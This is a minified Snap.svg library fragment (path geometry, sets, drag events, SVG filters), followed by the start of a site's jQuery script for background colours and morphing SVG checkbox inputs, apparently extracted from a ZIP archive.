l=i/k,m=j/k,n=+l.toFixed(2),o=+m.toFixed(2);if(!(n<+P(a,c).toFixed(2)||n>+Q(a,c).toFixed(2)||n<+P(e,g).toFixed(2)||n>+Q(e,g).toFixed(2)||o<+P(b,d).toFixed(2)||o>+Q(b,d).toFixed(2)||o<+P(f,h).toFixed(2)||o>+Q(f,h).toFixed(2)))return{x:l,y:m}}}}function q(a,b,c){var d=j(a),e=j(b);if(!l(d,e))return c?0:[];for(var f=n.apply(0,a),g=n.apply(0,b),h=~~(f/8),k=~~(g/8),m=[],o=[],q={},r=c?0:[],s=0;h+1>s;s++){var t=i.apply(0,a.concat(s/h));m.push({x:t.x,y:t.y,t:s/h})}for(s=0;k+1>s;s++)t=i.apply(0,b.concat(s/k)),o.push({x:t.x,y:t.y,t:s/k});for(s=0;h>s;s++)for(var u=0;k>u;u++){var v=m[s],w=m[s+1],x=o[u],y=o[u+1],z=S(w.x-v.x)<.001?"y":"x",A=S(y.x-x.x)<.001?"y":"x",B=p(v.x,v.y,w.x,w.y,x.x,x.y,y.x,y.y);if(B){if(q[B.x.toFixed(4)]==B.y.toFixed(4))continue;q[B.x.toFixed(4)]=B.y.toFixed(4);var C=v.t+S((B[z]-v[z])/(w[z]-v[z]))*(w.t-v.t),D=x.t+S((B[A]-x[A])/(y[A]-x[A]))*(y.t-x.t);C>=0&&1>=C&&D>=0&&1>=D&&(c?r++:r.push({x:B.x,y:B.y,t1:C,t2:D}))}}return r}function r(a,b){return t(a,b)}function s(a,b){return t(a,b,1)}function t(a,b,c){a=E(a),b=E(b);for(var d,e,f,g,h,i,j,k,l,m,n=c?0:[],o=0,p=a.length;p>o;o++){var r=a[o];if("M"==r[0])d=h=r[1],e=i=r[2];else{"C"==r[0]?(l=[d,e].concat(r.slice(1)),d=l[6],e=l[7]):(l=[d,e,d,e,h,i,h,i],d=h,e=i);for(var s=0,t=b.length;t>s;s++){var u=b[s];if("M"==u[0])f=j=u[1],g=k=u[2];else{"C"==u[0]?(m=[f,g].concat(u.slice(1)),f=m[6],g=m[7]):(m=[f,g,f,g,j,k,j,k],f=j,g=k);var v=q(l,m,c);if(c)n+=v;else{for(var w=0,x=v.length;x>w;w++)v[w].segment1=o,v[w].segment2=s,v[w].bez1=l,v[w].bez2=m;n=n.concat(v)}}}}}return n}function u(a,b,c){var d=v(a);return k(d,b,c)&&t(a,[["M",b,c],["H",d.x2+10]],1)%2==1}function v(a){var b=c(a);if(b.bbox)return J(b.bbox);if(!a)return d();a=E(a);for(var e,f=0,g=0,h=[],i=[],j=0,k=a.length;k>j;j++)if(e=a[j],"M"==e[0])f=e[1],g=e[2],h.push(f),i.push(g);else{var l=D(f,g,e[1],e[2],e[3],e[4],e[5],e[6]);h=h.concat(l.min.x,l.max.x),i=i.concat(l.min.y,l.max.y),f=e[5],g=e[6]}var m=P.apply(0,h),n=P.apply(0,i),o=Q.apply(0,h),p=Q.apply(0,i),q=d(m,n,o-m,p-n);return b.bbox=J(q),q}function w(a,b,c,d,f){if(f)return[["M",+a+ +f,b],["l",c-2*f,0],["a",f,f,0,0,1,f,f],["l",0,d-2*f],["a",f,f,0,0,1,-f,f],["l",2*f-c,0],["a",f,f,0,0,1,-f,-f],["l",0,2*f-d],["a",f,f,0,0,1,f,-f],["z"]];var g=[["M",a,b],["l",c,0],["l",0,d],["l",-c,0],["z"]];return g.toString=e,g}function x(a,b,c,d,f){if(null==f&&null==d&&(d=c),a=+a,b=+b,c=+c,d=+d,null!=f)var g=Math.PI/180,h=a+c*Math.cos(-d*g),i=a+c*Math.cos(-f*g),j=b+c*Math.sin(-d*g),k=b+c*Math.sin(-f*g),l=[["M",h,j],["A",c,c,0,+(f-d>180),0,i,k]];else l=[["M",a,b],["m",0,-d],["a",c,d,0,1,1,0,2*d],["a",c,d,0,1,1,0,-2*d],["z"]];return l.toString=e,l}function y(b){var d=c(b),g=String.prototype.toLowerCase;if(d.rel)return f(d.rel);a.is(b,"array")&&a.is(b&&b[0],"array")||(b=a.parsePathString(b));var h=[],i=0,j=0,k=0,l=0,m=0;"M"==b[0][0]&&(i=b[0][1],j=b[0][2],k=i,l=j,m++,h.push(["M",i,j]));for(var n=m,o=b.length;o>n;n++){var p=h[n]=[],q=b[n];if(q[0]!=g.call(q[0]))switch(p[0]=g.call(q[0]),p[0]){case"a":p[1]=q[1],p[2]=q[2],p[3]=q[3],p[4]=q[4],p[5]=q[5],p[6]=+(q[6]-i).toFixed(3),p[7]=+(q[7]-j).toFixed(3);break;case"v":p[1]=+(q[1]-j).toFixed(3);break;case"m":k=q[1],l=q[2];default:for(var r=1,s=q.length;s>r;r++)p[r]=+(q[r]-(r%2?i:j)).toFixed(3)}else{p=h[n]=[],"m"==q[0]&&(k=q[1]+i,l=q[2]+j);for(var t=0,u=q.length;u>t;t++)h[n][t]=q[t]}var v=h[n].length;switch(h[n][0]){case"z":i=k,j=l;break;case"h":i+=+h[n][v-1];break;case"v":j+=+h[n][v-1];break;default:i+=+h[n][v-2],j+=+h[n][v-1]}}return h.toString=e,d.rel=f(h),h}function z(b){var d=c(b);if(d.abs)return f(d.abs);if(I(b,"array")&&I(b&&b[0],"array")||(b=a.parsePathString(b)),!b||!b.length)return[["M",0,0]];var g,h=[],i=0,j=0,k=0,l=0,m=0;"M"==b[0][0]&&(i=+b[0][1],j=+b[0][2],k=i,l=j,m++,h[0]=["M",i,j]);for(var n,o,p=3==b.length&&"M"==b[0][0]&&"R"==b[1][0].toUpperCase()&&"Z"==b[2][0].toUpperCase(),q=m,r=b.length;r>q;q++){if(h.push(n=[]),o=b[q],g=o[0],g!=g.toUpperCase())switch(n[0]=g.toUpperCase(),n[0]){case"A":n[1]=o[1],n[2]=o[2],n[3]=o[3],n[4]=o[4],n[5]=o[5],n[6]=+o[6]+i,n[7]=+o[7]+j;break;case"V":n[1]=+o[1]+j;break;case"H":n[1]=+o[1]+i;break;case"R":for(var s=[i,j].concat(o.slice(1)),t=2,u=s.length;u>t;t++)s[t]=+s[t]+i,s[++t]=+s[t]+j;h.pop(),h=h.concat(G(s,p));break;case"O":h.pop(),s=x(i,j,o[1],o[2]),s.push(s[0]),h=h.concat(s);break;case"U":h.pop(),h=h.concat(x(i,j,o[1],o[2],o[3])),n=["U"].concat(h[h.length-1].slice(-2));break;case"M":k=+o[1]+i,l=+o[2]+j;default:for(t=1,u=o.length;u>t;t++)n[t]=+o[t]+(t%2?i:j)}else if("R"==g)s=[i,j].concat(o.slice(1)),h.pop(),h=h.concat(G(s,p)),n=["R"].concat(o.slice(-2));else if("O"==g)h.pop(),s=x(i,j,o[1],o[2]),s.push(s[0]),h=h.concat(s);else if("U"==g)h.pop(),h=h.concat(x(i,j,o[1],o[2],o[3])),n=["U"].concat(h[h.length-1].slice(-2));else for(var v=0,w=o.length;w>v;v++)n[v]=o[v];if(g=g.toUpperCase(),"O"!=g)switch(n[0]){case"Z":i=+k,j=+l;break;case"H":i=n[1];break;case"V":j=n[1];break;case"M":k=n[n.length-2],l=n[n.length-1];default:i=n[n.length-2],j=n[n.length-1]}}return h.toString=e,d.abs=f(h),h}function A(a,b,c,d){return[a,b,c,d,c,d]}function B(a,b,c,d,e,f){var g=1/3,h=2/3;return[g*a+h*c,g*b+h*d,g*e+h*c,g*f+h*d,e,f]}function C(b,c,d,e,f,g,h,i,j,k){var l,m=120*O/180,n=O/180*(+f||0),o=[],p=a._.cacher(function(a,b,c){var d=a*N.cos(c)-b*N.sin(c),e=a*N.sin(c)+b*N.cos(c);return{x:d,y:e}});if(k)y=k[0],z=k[1],w=k[2],x=k[3];else{l=p(b,c,-n),b=l.x,c=l.y,l=p(i,j,-n),i=l.x,j=l.y;var q=(N.cos(O/180*f),N.sin(O/180*f),(b-i)/2),r=(c-j)/2,s=q*q/(d*d)+r*r/(e*e);s>1&&(s=N.sqrt(s),d=s*d,e=s*e);var t=d*d,u=e*e,v=(g==h?-1:1)*N.sqrt(S((t*u-t*r*r-u*q*q)/(t*r*r+u*q*q))),w=v*d*r/e+(b+i)/2,x=v*-e*q/d+(c+j)/2,y=N.asin(((c-x)/e).toFixed(9)),z=N.asin(((j-x)/e).toFixed(9));y=w>b?O-y:y,z=w>i?O-z:z,0>y&&(y=2*O+y),0>z&&(z=2*O+z),h&&y>z&&(y-=2*O),!h&&z>y&&(z-=2*O)}var A=z-y;if(S(A)>m){var B=z,D=i,E=j;z=y+m*(h&&z>y?1:-1),i=w+d*N.cos(z),j=x+e*N.sin(z),o=C(i,j,d,e,f,0,h,D,E,[z,B,w,x])}A=z-y;var F=N.cos(y),G=N.sin(y),H=N.cos(z),I=N.sin(z),J=N.tan(A/4),K=4/3*d*J,L=4/3*e*J,M=[b,c],P=[b+K*G,c-L*F],Q=[i+K*I,j-L*H],R=[i,j];if(P[0]=2*M[0]-P[0],P[1]=2*M[1]-P[1],k)return[P,Q,R].concat(o);o=[P,Q,R].concat(o).join().split(",");for(var T=[],U=0,V=o.length;V>U;U++)T[U]=U%2?p(o[U-1],o[U],n).y:p(o[U],o[U+1],n).x;return T}function D(a,b,c,d,e,f,g,h){for(var i,j,k,l,m,n,o,p,q=[],r=[[],[]],s=0;2>s;++s)if(0==s?(j=6*a-12*c+6*e,i=-3*a+9*c-9*e+3*g,k=3*c-3*a):(j=6*b-12*d+6*f,i=-3*b+9*d-9*f+3*h,k=3*d-3*b),S(i)<1e-12){if(S(j)<1e-12)continue;l=-k/j,l>0&&1>l&&q.push(l)}else o=j*j-4*k*i,p=N.sqrt(o),0>o||(m=(-j+p)/(2*i),m>0&&1>m&&q.push(m),n=(-j-p)/(2*i),n>0&&1>n&&q.push(n));for(var t,u=q.length,v=u;u--;)l=q[u],t=1-l,r[0][u]=t*t*t*a+3*t*t*l*c+3*t*l*l*e+l*l*l*g,r[1][u]=t*t*t*b+3*t*t*l*d+3*t*l*l*f+l*l*l*h;return r[0][v]=a,r[1][v]=b,r[0][v+1]=g,r[1][v+1]=h,r[0].length=r[1].length=v+2,{min:{x:P.apply(0,r[0]),y:P.apply(0,r[1])},max:{x:Q.apply(0,r[0]),y:Q.apply(0,r[1])}}}function E(a,b){var d=!b&&c(a);if(!b&&d.curve)return f(d.curve);for(var e=z(a),g=b&&z(b),h={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},i={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},j=(function(a,b,c){var d,e;if(!a)return["C",b.x,b.y,b.x,b.y,b.x,b.y];switch(!(a[0]in{T:1,Q:1})&&(b.qx=b.qy=null),a[0]){case"M":b.X=a[1],b.Y=a[2];break;case"A":a=["C"].concat(C.apply(0,[b.x,b.y].concat(a.slice(1))));break;case"S":"C"==c||"S"==c?(d=2*b.x-b.bx,e=2*b.y-b.by):(d=b.x,e=b.y),a=["C",d,e].concat(a.slice(1));break;case"T":"Q"==c||"T"==c?(b.qx=2*b.x-b.qx,b.qy=2*b.y-b.qy):(b.qx=b.x,b.qy=b.y),a=["C"].concat(B(b.x,b.y,b.qx,b.qy,a[1],a[2]));break;case"Q":b.qx=a[1],b.qy=a[2],a=["C"].concat(B(b.x,b.y,a[1],a[2],a[3],a[4]));break;case"L":a=["C"].concat(A(b.x,b.y,a[1],a[2]));break;case"H":a=["C"].concat(A(b.x,b.y,a[1],b.y));break;case"V":a=["C"].concat(A(b.x,b.y,b.x,a[1]));break;case"Z":a=["C"].concat(A(b.x,b.y,b.X,b.Y))}return a}),k=function(a,b){if(a[b].length>7){a[b].shift();for(var c=a[b];c.length;)m[b]="A",g&&(n[b]="A"),a.splice(b++,0,["C"].concat(c.splice(0,6)));a.splice(b,1),r=Q(e.length,g&&g.length||0)}},l=function(a,b,c,d,f){a&&b&&"M"==a[f][0]&&"M"!=b[f][0]&&(b.splice(f,0,["M",d.x,d.y]),c.bx=0,c.by=0,c.x=a[f][1],c.y=a[f][2],r=Q(e.length,g&&g.length||0))},m=[],n=[],o="",p="",q=0,r=Q(e.length,g&&g.length||0);r>q;q++){e[q]&&(o=e[q][0]),"C"!=o&&(m[q]=o,q&&(p=m[q-1])),e[q]=j(e[q],h,p),"A"!=m[q]&&"C"==o&&(m[q]="C"),k(e,q),g&&(g[q]&&(o=g[q][0]),"C"!=o&&(n[q]=o,q&&(p=n[q-1])),g[q]=j(g[q],i,p),"A"!=n[q]&&"C"==o&&(n[q]="C"),k(g,q)),l(e,g,h,i,q),l(g,e,i,h,q);var s=e[q],t=g&&g[q],u=s.length,v=g&&t.length;h.x=s[u-2],h.y=s[u-1],h.bx=M(s[u-4])||h.x,h.by=M(s[u-3])||h.y,i.bx=g&&(M(t[v-4])||i.x),i.by=g&&(M(t[v-3])||i.y),i.x=g&&t[v-2],i.y=g&&t[v-1]}return g||(d.curve=f(e)),g?[e,g]:e}function F(a,b){if(!b)return a;var c,d,e,f,g,h,i;for(a=E(a),e=0,g=a.length;g>e;e++)for(i=a[e],f=1,h=i.length;h>f;f+=2)c=b.x(i[f],i[f+1]),d=b.y(i[f],i[f+1]),i[f]=c,i[f+1]=d;return a}function G(a,b){for(var c=[],d=0,e=a.length;e-2*!b>d;d+=2){var f=[{x:+a[d-2],y:+a[d-1]},{x:+a[d],y:+a[d+1]},{x:+a[d+2],y:+a[d+3]},{x:+a[d+4],y:+a[d+5]}];b?d?e-4==d?f[3]={x:+a[0],y:+a[1]}:e-2==d&&(f[2]={x:+a[0],y:+a[1]},f[3]={x:+a[2],y:+a[3]}):f[0]={x:+a[e-2],y:+a[e-1]}:e-4==d?f[3]=f[2]:d||(f[0]={x:+a[d],y:+a[d+1]}),c.push(["C",(-f[0].x+6*f[1].x+f[2].x)/6,(-f[0].y+6*f[1].y+f[2].y)/6,(f[1].x+6*f[2].x-f[3].x)/6,(f[1].y+6*f[2].y-f[3].y)/6,f[2].x,f[2].y])}return c}var H=b.prototype,I=a.is,J=a._.clone,K="hasOwnProperty",L=/,?([a-z]),?/gi,M=parseFloat,N=Math,O=N.PI,P=N.min,Q=N.max,R=N.pow,S=N.abs,T=h(1),U=h(),V=h(0,1),W=a._unit2px,X={path:function(a){return a.attr("path")},circle:function(a){var b=W(a);return x(b.cx,b.cy,b.r)},ellipse:function(a){var b=W(a);return x(b.cx||0,b.cy||0,b.rx,b.ry)},rect:function(a){var b=W(a);return w(b.x||0,b.y||0,b.width,b.height,b.rx,b.ry)},image:function(a){var b=W(a);return w(b.x||0,b.y||0,b.width,b.height)},line:function(a){return"M"+[a.attr("x1")||0,a.attr("y1")||0,a.attr("x2"),a.attr("y2")]},polyline:function(a){return"M"+a.attr("points")},polygon:function(a){return"M"+a.attr("points")+"z"},deflt:function(a){var b=a.node.getBBox();return w(b.x,b.y,b.width,b.height)}};a.path=c,a.path.getTotalLength=T,a.path.getPointAtLength=U,a.path.getSubpath=function(a,b,c){if(this.getTotalLength(a)-c<1e-6)return V(a,b).end;var d=V(a,c,1);return b?V(d,b).end:d},H.getTotalLength=function(){return this.node.getTotalLength?this.node.getTotalLength():void 0},H.getPointAtLength=function(a){return U(this.attr("d"),a)},H.getSubpath=function(b,c){return a.path.getSubpath(this.attr("d"),b,c)},a._.box=d,a.path.findDotsAtSegment=i,a.path.bezierBBox=j,a.path.isPointInsideBBox=k,a.path.isBBoxIntersect=l,a.path.intersection=r,a.path.intersectionNumber=s,a.path.isPointInside=u,a.path.getBBox=v,a.path.get=X,a.path.toRelative=y,a.path.toAbsolute=z,a.path.toCubic=E,a.path.map=F,a.path.toString=e,a.path.clone=f}),d.plugin(function(a){var d=Math.max,e=Math.min,f=function(a){if(this.items=[],this.bindings={},this.length=0,this.type="set",a)for(var b=0,c=a.length;c>b;b++)a[b]&&(this[this.items.length]=this.items[this.items.length]=a[b],this.length++)},g=f.prototype;g.push=function(){for(var a,b,c=0,d=arguments.length;d>c;c++)a=arguments[c],a&&(b=this.items.length,this[b]=this.items[b]=a,this.length++);return this},g.pop=function(){return this.length&&delete this[this.length--],this.items.pop()},g.forEach=function(a,b){for(var c=0,d=this.items.length;d>c;c++)if(a.call(b,this.items[c],c)===!1)return this;return this},g.animate=function(d,e,f,g){"function"!=typeof f||f.length||(g=f,f=c.linear),d instanceof a._.Animation&&(g=d.callback,f=d.easing,e=f.dur,d=d.attr);var h=arguments;if(a.is(d,"array")&&a.is(h[h.length-1],"array"))var i=!0;var j,k=function(){j?this.b=j:j=this.b},l=0,m=g&&function(){l++==this.length&&g.call(this)};return this.forEach(function(a,c){b.once("snap.animcreated."+a.id,k),i?h[c]&&a.animate.apply(a,h[c]):a.animate(d,e,f,m)})},g.remove=function(){for(;this.length;)this.pop().remove();return this},g.bind=function(a,b,c){var d={};if("function"==typeof b)this.bindings[a]=b;else{var e=c||a;this.bindings[a]=function(a){d[e]=a,b.attr(d)}}return this},g.attr=function(a){var b={};for(var c in a)this.bindings[c]?this.bindings[c](a[c]):b[c]=a[c];for(var d=0,e=this.items.length;e>d;d++)this.items[d].attr(b);return this},g.clear=function(){for(;this.length;)this.pop()},g.splice=function(a,b){a=0>a?d(this.length+a,0):a,b=d(0,e(this.length-a,b));var c,g=[],h=[],i=[];for(c=2;c<arguments.length;c++)i.push(arguments[c]);for(c=0;b>c;c++)h.push(this[a+c]);for(;c<this.length-a;c++)g.push(this[a+c]);var j=i.length;for(c=0;c<j+g.length;c++)this.items[a+c]=this[a+c]=j>c?i[c]:g[c-j];for(c=this.items.length=this.length-=b-j;this[c];)delete this[c++];return new f(h)},g.exclude=function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]==a)return this.splice(b,1),!0;return!1},g.insertAfter=function(a){for(var b=this.items.length;b--;)this.items[b].insertAfter(a);return this},g.getBBox=function(){for(var a=[],b=[],c=[],f=[],g=this.items.length;g--;)if(!this.items[g].removed){var h=this.items[g].getBBox();a.push(h.x),b.push(h.y),c.push(h.x+h.width),f.push(h.y+h.height)}return a=e.apply(0,a),b=e.apply(0,b),c=d.apply(0,c),f=d.apply(0,f),{x:a,y:b,x2:c,y2:f,width:c-a,height:f-b,cx:a+(c-a)/2,cy:b+(f-b)/2}},g.clone=function(a){a=new f;for(var b=0,c=this.items.length;c>b;b++)a.push(this.items[b].clone());return a},g.toString=function(){return"Snap‘s set"},g.type="set",a.set=function(){var a=new f;return arguments.length&&a.push.apply(a,Array.prototype.slice.call(arguments,0)),a}}),d.plugin(function(a,c){function d(a){var b=a[0];switch(b.toLowerCase()){case"t":return[b,0,0];case"m":return[b,1,0,0,1,0,0];case"r":return 4==a.length?[b,0,a[2],a[3]]:[b,0];case"s":return 5==a.length?[b,1,1,a[3],a[4]]:3==a.length?[b,1,1]:[b,1]}}function e(b,c,e){c=m(c).replace(/\.{3}|\u2026/g,b),b=a.parseTransformString(b)||[],c=a.parseTransformString(c)||[];for(var f,g,h,k,l=Math.max(b.length,c.length),n=[],o=[],p=0;l>p;p++){if(h=b[p]||d(c[p]),k=c[p]||d(h),h[0]!=k[0]||"r"==h[0].toLowerCase()&&(h[2]!=k[2]||h[3]!=k[3])||"s"==h[0].toLowerCase()&&(h[3]!=k[3]||h[4]!=k[4])){b=a._.transform2matrix(b,e()),c=a._.transform2matrix(c,e()),n=[["m",b.a,b.b,b.c,b.d,b.e,b.f]],o=[["m",c.a,c.b,c.c,c.d,c.e,c.f]];break}for(n[p]=[],o[p]=[],f=0,g=Math.max(h.length,k.length);g>f;f++)f in h&&(n[p][f]=h[f]),f in k&&(o[p][f]=k[f])}return{from:j(n),to:j(o),f:i(n)}}function f(a){return a}function g(a){return function(b){return+b.toFixed(3)+a}}function h(b){return a.rgb(b[0],b[1],b[2])}function i(a){var b,c,d,e,f,g,h=0,i=[];for(b=0,c=a.length;c>b;b++){for(f="[",g=['"'+a[b][0]+'"'],d=1,e=a[b].length;e>d;d++)g[d]="val["+h++ +"]";
f+=g+"]",i[b]=f}return Function("val","return Snap.path.toString.call(["+i+"])")}function j(a){for(var b=[],c=0,d=a.length;d>c;c++)for(var e=1,f=a[c].length;f>e;e++)b.push(a[c][e]);return b}var k={},l=/[a-z]+$/i,m=String;k.stroke=k.fill="colour",c.prototype.equal=function(a,c){return b("snap.util.equal",this,a,c).firstDefined()},b.on("snap.util.equal",function(b,c){var d,n,o=m(this.attr(b)||""),p=this;if(o==+o&&c==+c)return{from:+o,to:+c,f:f};if("colour"==k[b])return d=a.color(o),n=a.color(c),{from:[d.r,d.g,d.b,d.opacity],to:[n.r,n.g,n.b,n.opacity],f:h};if("transform"==b||"gradientTransform"==b||"patternTransform"==b)return c instanceof a.Matrix&&(c=c.toTransformString()),a._.rgTransform.test(c)||(c=a._.svgTransform2string(c)),e(o,c,function(){return p.getBBox(1)});if("d"==b||"path"==b)return d=a.path.toCubic(o,c),{from:j(d[0]),to:j(d[1]),f:i(d[0])};if("points"==b)return d=m(o).split(a._.separator),n=m(c).split(a._.separator),{from:d,to:n,f:function(a){return a}};aUnit=o.match(l);var q=m(c).match(l);return aUnit&&aUnit==q?{from:parseFloat(o),to:parseFloat(c),f:g(aUnit)}:{from:this.asPX(b),to:this.asPX(b,c),f:f}})}),d.plugin(function(a,c,d,e){for(var f=c.prototype,g="hasOwnProperty",h=("createTouch"in e.doc),i=["click","dblclick","mousedown","mousemove","mouseout","mouseover","mouseup","touchstart","touchmove","touchend","touchcancel"],j={mousedown:"touchstart",mousemove:"touchmove",mouseup:"touchend"},k=(function(a,b){var c="y"==a?"scrollTop":"scrollLeft",d=b&&b.node?b.node.ownerDocument:e.doc;return d[c in d.documentElement?"documentElement":"body"][c]}),l=function(){this.returnValue=!1},m=function(){return this.originalEvent.preventDefault()},n=function(){this.cancelBubble=!0},o=function(){return this.originalEvent.stopPropagation()},p=function(){return e.doc.addEventListener?function(a,b,c,d){var e=h&&j[b]?j[b]:b,f=function(e){var f=k("y",d),i=k("x",d);if(h&&j[g](b))for(var l=0,n=e.targetTouches&&e.targetTouches.length;n>l;l++)if(e.targetTouches[l].target==a||a.contains(e.targetTouches[l].target)){var p=e;e=e.targetTouches[l],e.originalEvent=p,e.preventDefault=m,e.stopPropagation=o;break}var q=e.clientX+i,r=e.clientY+f;return c.call(d,e,q,r)};return b!==e&&a.addEventListener(b,f,!1),a.addEventListener(e,f,!1),function(){return b!==e&&a.removeEventListener(b,f,!1),a.removeEventListener(e,f,!1),!0}}:e.doc.attachEvent?function(a,b,c,d){var e=function(a){a=a||d.node.ownerDocument.window.event;var b=k("y",d),e=k("x",d),f=a.clientX+e,g=a.clientY+b;return a.preventDefault=a.preventDefault||l,a.stopPropagation=a.stopPropagation||n,c.call(d,a,f,g)};a.attachEvent("on"+b,e);var f=function(){return a.detachEvent("on"+b,e),!0};return f}:void 0}(),q=[],r=function(a){for(var c,d=a.clientX,e=a.clientY,f=k("y"),g=k("x"),i=q.length;i--;){if(c=q[i],h){for(var j,l=a.touches&&a.touches.length;l--;)if(j=a.touches[l],j.identifier==c.el._drag.id||c.el.node.contains(j.target)){d=j.clientX,e=j.clientY,(a.originalEvent?a.originalEvent:a).preventDefault();break}}else a.preventDefault();{var m=c.el.node;m.nextSibling,m.parentNode,m.style.display}d+=g,e+=f,b("snap.drag.move."+c.el.id,c.move_scope||c.el,d-c.el._drag.x,e-c.el._drag.y,d,e,a)}},s=function(c){a.unmousemove(r).unmouseup(s);for(var d,e=q.length;e--;)d=q[e],d.el._drag={},b("snap.drag.end."+d.el.id,d.end_scope||d.start_scope||d.move_scope||d.el,c);q=[]},t=i.length;t--;)!function(b){a[b]=f[b]=function(c,d){return a.is(c,"function")&&(this.events=this.events||[],this.events.push({name:b,f:c,unbind:p(this.node||document,b,c,d||this)})),this},a["un"+b]=f["un"+b]=function(a){for(var c=this.events||[],d=c.length;d--;)if(c[d].name==b&&(c[d].f==a||!a))return c[d].unbind(),c.splice(d,1),!c.length&&delete this.events,this;return this}}(i[t]);f.hover=function(a,b,c,d){return this.mouseover(a,c).mouseout(b,d||c)},f.unhover=function(a,b){return this.unmouseover(a).unmouseout(b)};var u=[];f.drag=function(c,d,e,f,g,h){function i(i,j,k){(i.originalEvent||i).preventDefault(),this._drag.x=j,this._drag.y=k,this._drag.id=i.identifier,!q.length&&a.mousemove(r).mouseup(s),q.push({el:this,move_scope:f,start_scope:g,end_scope:h}),d&&b.on("snap.drag.start."+this.id,d),c&&b.on("snap.drag.move."+this.id,c),e&&b.on("snap.drag.end."+this.id,e),b("snap.drag.start."+this.id,g||f||this,j,k,i)}if(!arguments.length){var j;return this.drag(function(a,b){this.attr({transform:j+(j?"T":"t")+[a,b]})},function(){j=this.transform().local})}return this._drag={},u.push({el:this,start:i}),this.mousedown(i),this},f.undrag=function(){for(var c=u.length;c--;)u[c].el==this&&(this.unmousedown(u[c].start),u.splice(c,1),b.unbind("snap.drag.*."+this.id));return!u.length&&a.unmousemove(r).unmouseup(s),this}}),d.plugin(function(a,c,d){var e=(c.prototype,d.prototype),f=/^\s*url\((.+)\)/,g=String,h=a._.$;a.filter={},e.filter=function(b){var d=this;"svg"!=d.type&&(d=d.paper);var e=a.parse(g(b)),f=a._.id(),i=(d.node.offsetWidth,d.node.offsetHeight,h("filter"));return h(i,{id:f,filterUnits:"userSpaceOnUse"}),i.appendChild(e.node),d.defs.appendChild(i),new c(i)},b.on("snap.util.getattr.filter",function(){b.stop();var c=h(this.node,"filter");if(c){var d=g(c).match(f);return d&&a.select(d[1])}}),b.on("snap.util.attr.filter",function(d){if(d instanceof c&&"filter"==d.type){b.stop();var e=d.node.id;e||(h(d.node,{id:d.id}),e=d.id),h(this.node,{filter:a.url(e)})}d&&"none"!=d||(b.stop(),this.node.removeAttribute("filter"))}),a.filter.blur=function(b,c){null==b&&(b=2);var d=null==c?b:[b,c];return a.format('<feGaussianBlur stdDeviation="{def}"/>',{def:d})},a.filter.blur.toString=function(){return this()},a.filter.shadow=function(b,c,d,e,f){return"string"==typeof d&&(e=d,f=e,d=4),"string"!=typeof e&&(f=e,e="#000"),e=e||"#000",null==d&&(d=4),null==f&&(f=1),null==b&&(b=0,c=2),null==c&&(c=b),e=a.color(e),a.format('<feGaussianBlur in="SourceAlpha" stdDeviation="{blur}"/><feOffset dx="{dx}" dy="{dy}" result="offsetblur"/><feFlood flood-color="{color}"/><feComposite in2="offsetblur" operator="in"/><feComponentTransfer><feFuncA type="linear" slope="{opacity}"/></feComponentTransfer><feMerge><feMergeNode/><feMergeNode in="SourceGraphic"/></feMerge>',{color:e,dx:b,dy:c,blur:d,opacity:f})},a.filter.shadow.toString=function(){return this()},a.filter.grayscale=function(b){return null==b&&(b=1),a.format('<feColorMatrix type="matrix" values="{a} {b} {c} 0 0 {d} {e} {f} 0 0 {g} {b} {h} 0 0 0 0 0 1 0"/>',{a:.2126+.7874*(1-b),b:.7152-.7152*(1-b),c:.0722-.0722*(1-b),d:.2126-.2126*(1-b),e:.7152+.2848*(1-b),f:.0722-.0722*(1-b),g:.2126-.2126*(1-b),h:.0722+.9278*(1-b)})},a.filter.grayscale.toString=function(){return this()},a.filter.sepia=function(b){return null==b&&(b=1),a.format('<feColorMatrix type="matrix" values="{a} {b} {c} 0 0 {d} {e} {f} 0 0 {g} {h} {i} 0 0 0 0 0 1 0"/>',{a:.393+.607*(1-b),b:.769-.769*(1-b),c:.189-.189*(1-b),d:.349-.349*(1-b),e:.686+.314*(1-b),f:.168-.168*(1-b),g:.272-.272*(1-b),h:.534-.534*(1-b),i:.131+.869*(1-b)})},a.filter.sepia.toString=function(){return this()},a.filter.saturate=function(b){return null==b&&(b=1),a.format('<feColorMatrix type="saturate" values="{amount}"/>',{amount:1-b})},a.filter.saturate.toString=function(){return this()},a.filter.hueRotate=function(b){return b=b||0,a.format('<feColorMatrix type="hueRotate" values="{angle}"/>',{angle:b})},a.filter.hueRotate.toString=function(){return this()},a.filter.invert=function(b){return null==b&&(b=1),a.format('<feComponentTransfer><feFuncR type="table" tableValues="{amount} {amount2}"/><feFuncG type="table" tableValues="{amount} {amount2}"/><feFuncB type="table" tableValues="{amount} {amount2}"/></feComponentTransfer>',{amount:b,amount2:1-b})},a.filter.invert.toString=function(){return this()},a.filter.brightness=function(b){return null==b&&(b=1),a.format('<feComponentTransfer><feFuncR type="linear" slope="{amount}"/><feFuncG type="linear" slope="{amount}"/><feFuncB type="linear" slope="{amount}"/></feComponentTransfer>',{amount:b})},a.filter.brightness.toString=function(){return this()},a.filter.contrast=function(b){return null==b&&(b=1),a.format('<feComponentTransfer><feFuncR type="linear" slope="{amount}" intercept="{amount2}"/><feFuncG type="linear" slope="{amount}" intercept="{amount2}"/><feFuncB type="linear" slope="{amount}" intercept="{amount2}"/></feComponentTransfer>',{amount:b,amount2:.5-b/2})},a.filter.contrast.toString=function(){return this()}}),d});PK!�Cw7KKjs/main.min.jsnu&1i�'use strict'
$(document).ready(function () { var colors = ["#1B1B1B", "#1B1B1B", "#1B1B1B", "#1B1B1B", "#1B1B1B", "#1B1B1B", "#1B1B1B", "#1B1B1B", "#1B1B1B"]; var rand = Math.floor(Math.random() * colors.length); $('body').css("background-color", colors[rand]); $(".color-tool li a").on("click", function () { var colr = $(this).data("color"); $("body").css("background", colr); }); (function () { function SVGInput(el, options) { this.el = el; this.inputEl = this.el.querySelector('input'); this.init(); } SVGInput.prototype.init = function () { this.shapeEl = this.el.querySelector('span.morph-shape'); var s = Snap(this.shapeEl.querySelector('svg')); this.pathEl = s.select('path'); this.paths = { reset: this.pathEl.attr('d'), active: this.shapeEl.getAttribute('data-morph-active') }; this.initEvents(); }; SVGInput.prototype.initEvents = function () { if (this.inputEl.type === 'checkbox' || this.inputEl.type === 'radio') { this.el.addEventListener('mousedown', this.down.bind(this)); this.el.addEventListener('touchstart', this.down.bind(this)); this.el.addEventListener('mouseup', this.up.bind(this)); this.el.addEventListener('touchend', this.up.bind(this)); 